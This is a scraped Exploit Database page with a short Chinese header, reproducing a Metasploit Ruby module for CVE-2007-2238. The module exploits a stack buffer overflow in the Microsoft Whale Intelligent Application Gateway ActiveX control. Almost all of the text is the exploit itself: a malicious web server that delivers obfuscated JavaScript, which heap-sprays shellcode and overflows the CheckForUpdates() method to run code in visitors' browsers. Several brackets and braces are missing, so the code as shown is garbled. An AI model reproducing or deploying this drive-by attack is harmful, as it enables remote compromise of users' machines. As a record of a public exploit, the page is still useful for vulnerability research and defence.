Microsoft Whale Intelligent Application Gateway – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
157 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16608/

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# $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application

Gateway Whale Client. When sending an overly long string to CheckForUpdates()

method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute

arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-2238' ],

[ 'OSVDB', '53933'],

[ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]

'DisclosureDate' => 'Apr 15 2009',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# fluff..

fluff = rand_text_english(rand(20) + 1)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Set the return.

ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

js = %Q|

try {

var evil_string = "";

var index;

var vulnerable = new ActiveXObject('ComponentManager.Installer.1');

var my_unescape = unescape;

var shellcode = '#{shellcode}';

#{js_heap_spray}

sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);

for (index = 0; index < 15000; index++) {

evil_string = evil_string + my_unescape('#{ret}');

}

vulnerable.CheckForUpdates(evil_string,'#{fluff}');

} catch( e ) { window.location = 'about:blank' ; }

opts = {

'Strings' => true,

'Symbols' => {

'Variables' => [

'vulnerable',

'shellcode',

'my_unescape',

'index',

'evil_string',

]

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.update_opts(js_heap_spray.opts)

js.obfuscate()

content = %Q|<html>

<body>

<script><!--

#{js}

//</script>

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end